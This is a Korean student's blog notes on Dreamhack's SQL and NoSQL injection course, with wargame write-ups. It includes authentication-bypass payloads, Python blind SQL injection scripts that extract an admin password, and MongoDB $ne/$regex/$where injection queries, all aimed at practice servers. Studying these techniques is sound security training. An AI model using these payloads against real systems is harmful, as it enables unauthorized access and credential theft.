web study

dreamhack sql injection

oose. 2024. 3. 23. 10:14

# Background - Relational DBMS

-DBMS(DataBase Management System)  : Database를 관리하는 애플리케이션

-DBMS의 종류

  Relational 관계형 Non-Relational 비관계형
저장 방식 테이블 형식 키-값 형식
대표 DBMS MySQL, MariaDB, PostgreSQL, SQLite MongoDB, CouchDB, Redis

 

 

-Relational DataBase Management System의 관계 연산자 = SQL -> 해당 쿼리를 통해 테이블 형식의 데이터 조작

-SQL(Structured Query Language) : RDBMS의 데이터를 정의, 질의, 수정 등을 하기 위해 고안된 언어

언어 설명
DDL
(Data Definition Language)
-데이터를 정의하기 위한 언어입니다.

-데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행합니다.

-대표 명령어 : CREATE, ALTER, DROP, RENAME, TRUNCATE
 
DML
(Data Manipulation Language)
-데이터를 조작하기 위한 언어입니다.

-실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행합니다.

-대표 명령어 : SELECT, INSERT, UPDATE, DELETE
DCL
(Data Control Language)
-데이터베이스의 접근 권한 등의 설정을 하기 위한 언어입니다.

-대표 명령어 : GRANT(권한 부여), REVOKE(권한 박탈)

 

 

# SQL injection : 쿼리문에는 sql 구문이 포함된다. 이때 이 sql 구문에 임의의 문자열을 삽입하는 행위를 sql injection이라고 함. 쿼리문을 조작하면 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있음.

 

-dreamhack 모듈을 이용한 sql injection -> union을 이용해서 admin의 upw을 알아냈다. 

admin' union Select upw from user_table where uid='admin' --

 

 

-Blind SQL Injection : 참, 거짓의 결과로 원하는 정보를 알아내는 방법. 스무고개 형식으로 여러 번의 질문을 통해 정보를 알아냄.

ex. pwd의 크기를 알아낼 수 있다. 첫 번째 글자, 두 번째 글자...도 역시 알아낼 수 있다. 

code ex. SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True

즉, 엄청난 노가다가 필요하다는 뜻. 하지만 파이썬에는 requests 모듈이 있다. 우리의 구세주!! 이를 이용하면 파이썬이 알아서 반복해서 쿼리문을 전송해준다. 

 

예제 코드를 살펴보자.

#get 방식

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)

 

# post 방식

import requests
url = 'https://dreamhack.io/'
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
    'test': 1,
}
for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)

 

#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
    'uid': '',
    'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuation
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
    for ch in tc:
        # query를 이용하여 Blind SQL Injection 시도
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
        if c.text.find("Login success") != -1:
            password += ch
            break
print(f"Password is {password}")

 

 

-dreamhack quiz

1번 보기는 생각하지 못했던 코드인데 기억해놔야겠다.

 

 

# dreamhack wargame simple_sqli-sql injection.ver

핵쉬움 ! 그냥 id 부분에 true 값 만들어주거나 주석 달아주면 됨.

def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

 

그래도 풀이를 정리해보자.

문제 접근 방법 2가지 1) 로그인 우회, 2) pwd 알아낸 후 정상적인 경로로 로그인

해당 페이지는 동적 쿼리를 생성하였음(RawQuery) -> 이용자의 입력값이 쿼리문에 포함되므로 sql injection 취약점 발생

 

=> 우회할 수 있는 여러 script

/*		
ID: admin, PW: DUMMY		
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식		
*/		
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"	


/*		
ID: admin" or "1 , PW: DUMMY		
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식		
*/		
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"		


/*		
ID: admin, PW: DUMMY" or userid="admin		
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식		
*/		
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"	


/*		
ID: " or 1 LIMIT 1,1-- , PW: DUMMY		
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식		
*/		
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

 

# dreamhack wargame simple_sqli-blind sql injection.ver

blind sql injection으로 flag를 찾아보자. 

1. 로그인 요청의 폼 구조 파악

 chrome에서 개발자 도구를 이용하여 폼 구조를 파악할 수 있다.(network->preserve log 체크->id:guest, pw:guest으로 로그인한 후 왼쪽 Name 목록에서 /login 페이지의 POST 요청을 찾는다->해당 요청의 payload를 들어가보면 폼구조를 알 수 있다.)

 

위의 사진에서 보면 알 수 있듯이 로그인할 때 입력한 id 값은 userid로, 비밀번호는 userpassword로 전송됨을 확인할 수 있다.

 

 

 

보통 blind sql injection으로 pwd를 찾을 때는 길이를 먼저 찾는다. 아래는 비번 길이를 찾아내는 스크립트이다. 

#!/usr/bin/python3		
import requests		
import sys		
from urllib.parse import urljoin

class Solver:		    
	"""Solver for simple_SQLi challenge"""	
    
    
    # initialization		    
    def __init__(self, port: str) -> None:		        
        self._chall_url = f"http://host1.dreamhack.games:{port}"  #호스트 이름, 포트 번호는 각자 바꿔야 됩니다.        
        self._login_url = urljoin(self._chall_url, "login")		

    # base HTTP methods		    
    def _login(self, userid: str, userpassword: str) -> bool:		        
        login_data = {		            
            "userid": userid,		            
            "userpassword": userpassword		        
        }		        
        resp = requests.post(self._login_url, data=login_data)		        
        return resp		
        
    # base sqli methods		    
    def _sqli(self, query: str) -> requests.Response:		        
    	resp = self._login(f"\" or {query}-- ", "hi")		        
    	return resp
        
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:		        
        while 1:		            
            mid = (low+high) // 2		            
            if low+1 >= high:		                
                break		            
            query = query_tmpl.format(val=mid)		            
            if "hello" in self._sqli(query).text:		                
                high = mid		            
            else:		                
                low = mid		        
    	return mid
        
        
        
    # attack methods		    
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:		        
        query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"		        
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)		        
        return pw_len		        		    
    def solve(self):		        
        pw_len = solver._find_password_length("admin")		        
        print(f"Length of admin password is: {pw_len}")		   
        
        
        
if __name__ == "__main__":		    
    port = sys.argv[1]		    
    solver = Solver(port)		    
    solver.solve()

 

 

하면 딱 답이 나와야 하는데.... vs code requests 모듈 설치하는 거 알아보다가 반나절이 흘렀다. 

집 가서 윈도우로 다시 해볼게염

 

 

그리고 아래는 비번 알아내는 스크립트

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin

class Solver:
    """Solver for simple_SQLi challenge"""
    
    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")
    
    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {"userid": userid, "userpassword": userpassword}
        resp = requests.post(self._login_url, data=login_data)
        return resp
    
    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f'" or {query}-- ', "hi")
        return resp
    
    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid
    
    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len
    
    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for idx in range(1, pw_len + 1):
            query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
            print(f"{idx}. {pw}")
        return pw
    
    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")

if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

 

 

 

다음 주제로 넘어가봅시다. 

 

#Background: Non-Relational DBMS

-NoSQL과 RDBMS와의 차이점 : RDBMS은 sql을 통해서만 데이터를 다룰 수 있지만 NoSQL은 sql을 사용하지 않고도 데이터를 다룰 수 있다. 즉, sql injection의 위험성에서 벗어날 수 있다는 소리!

 

#MongoDB

-JSON 형태로 도큐먼트 저장

-컬렉션 정의 필요 x

-_id 필드가 Primary Key 역할을 함

ex)

RDBMS.ver

SELECT * FROM inventory WHERE status = "A" and qty < 30;

 

MongoDB.ver

db.inventory.find(
	{ $and:[
    	{ status: "A" },
        { qty : { $lt: 30 } }
       ]}
   )

 

  Name Description
Comparison $eq equal, 지정된 값과 같은 값 찾기
$in in, 배열 안의 값들과 일치하는 값 찾기
$ne not equal, 지정된 값과 같지 않은 값 찾기
$nin not in, 배열 안의 값들과 일치하지 않는 값 찾기
Logical $and AND, 쿼리를 모두 만족하는 문서 반환
$not 쿼리 식 반전시킴
$nor NOR, 각각의 쿼리를 모두 만족하지 않는 문서 반환
$or OR, 쿼리 중 하나 이상 만족하는 문서 반환
Element $exists 지정된 필드가 있는 문서 찾기
$type 지정된 필드가 지정된 유형인 문서 선택
Evaluation $expr 쿼리 언어 내에서 집계 식을 사용할 수 있음
$regex 지정된 정규식과 일치하는 문서 선택
$text 지정된 텍스트 검색

 

 

 

#Redis

-Redis : key-value의 쌍을 가진 데이터를 저장함. 메모리 기반의 DBMS. 데이터를 저장하고 접근할 때 메모리를 사용하기 때문에 속도가 빠르다. 

ex) 

-https://redis.io/commands 이외의 명령어는 공식 문서 참조하기

 

Commands

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker

redis.io

 

 

 

#CouchDB

-JSON 형태로 도큐먼트 저장

-REST API 형식으로 요청 처리

$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'		
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}	

$ curl http://{username}:{password}@localhost:5984/users/guest		
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}

 

-이외의 명령어는 공식 문서 참고 https://docs.couchdb.org/en/latest/api/index.html

 

1. API Reference — Apache CouchDB® 3.3 Documentation

© Copyright 2024, Apache Software Foundation. CouchDB® is a registered trademark of the Apache Software Foundation. Revision e75b98f2.

docs.couchdb.org

 

 

#NoSQL Injection 

-sql injection과 마찬가지로 쿼리문에 이용자의 입력값이 들어갈 때 발생하는 문제점이다. -> 입력값에 대한 타입 검증이 불충분할 때 취약점 발생. 

-MongDB는 데이터의 자료형으로 오브젝트, 배열 타입을 저장할 수 있다. 이를 통해 다양한 행위 가능

ex)

NodeJS의 Express 예제 코드

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

 

실행 결과

http://localhost:3000/?data=1234
data: 1234
type: string

http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object

http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object

http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object

http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object

http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' } 
type: object

http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

 

 

-문자열이 아닌 타입의 값을 입력할 수 있음

-이를 통해 연산자 사용 가능

ex)

$ne 연산자를 통해 id와 pwd가 a가 아닌 데이터를 조회하였음.

@근데 여기서 질문이 생김. 왜 admin에 대한 결과 하나만 나온 거지? 다른 결과는 왜 안 나왔는지 궁금함.

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> 
[{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

 

응용 예시 -> 연산자 쓰는 방법 알아두기 "upw"의 값으로 공백이 아닌 값을 조회하여 입력하였음.

@이것도 질문!! 공백이 아닌 값으로는 아주 여러 개가 있을 텐데 그 중에서 뭐가 입력된 건지 모르겠다...

 

 

#Blind NoSQL Injection 

공격 방법 4가지 

1) 표현식 

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }


> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}

 

참 값을 임의로 만들어 대입한다. 하지만 두 번째 결과를 보면 알 수 있듯이 field에서는 사용하지 못함

 

2) substring

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

 

where 연산자와 함께 사용하였음. 

문자열을 비교하여 참일 때 값을 출력

 

3) sleep()

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

 

앞의 값이 참이면 sleep 함수가 호출되면서 시간 지연 발생

 

4) error based injection

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

 

3번과 비슷함. 앞의 값이 참이면 뒤의 코드(의도적인 오류)가 작동하면서 에러가 난다.

 

-예제 코드 -> 실제 쓰이는 형식을 잘 알아둬야 함.

비밀번호 길이 알아내기

{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined

 

한 글자씩 획득

{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}

 

 

#Mango write-up

 

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

 

서버 들어가면 게스트 로그인 정보가 나옴. 로그인 페이지도 없고 냅다 글씨만 써있음.

 

하지만 페이지 구성 소스를 보면 알 수 있듯이 /login 페이지가 존재한다. 

웹해킹 이름에 걸맞게 이 페이지에 쿼리문을 보내서 공격을 해봅시다. 

 

http://host3.dreamhack.games:17838/login?uid[$ne]=a&upw[$ne]=a

 

 

http://host3.dreamhack.games:17838/login?uid[$ne]=guest&upw[$ne]=a

http://host3.dreamhack.games:17838/login?uid=admin&upw[$ne]=a

 

http://host3.dreamhack.games:17838/login?uid[$regest]=^ad&upw[$ne]=a

 

 

 

 

여러 시행착오들.. 괜히 필터링도 걸려보고, 배운 것들을 써먹어보았다. 

 

 

풀이 :

ad.in = 정규 표현식으로 필터링을 우회했다.

http://host3.dreamhack.games:17838/login?uid[$regex]=ad.in&upw[$regex]=D.{*

 

그나저나 저 뒤에 나오는 D.{*의미가 궁금해서 gpt한테 물어봤는데 모르겠댄다. 지피티야 분발하자~~ 

 

 

드림핵 qna 짱 .

 

 

이제 하나씩 넣어보면서 pw를 한 글자씩 알아내야 한다. 익스플로잇 코드를 이용하자

 

import requests
import string

HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    
    print(f'FLAG: DH{{{flag}}}')

 

지금 맥으로 쓰는 중이라

코드 돌린 결과는 집 가서 윈도우로 해보겠씀다

 

 

후우 길고 길었던 sql injection 커리 끝!

워게임을 이제 내가 만들어야 하는데 ... 뭘로 만들어볼까 고민을 좀 해봐야겠다. 

no sql이 좀 땡기는 것 같기도 ㅎㅎ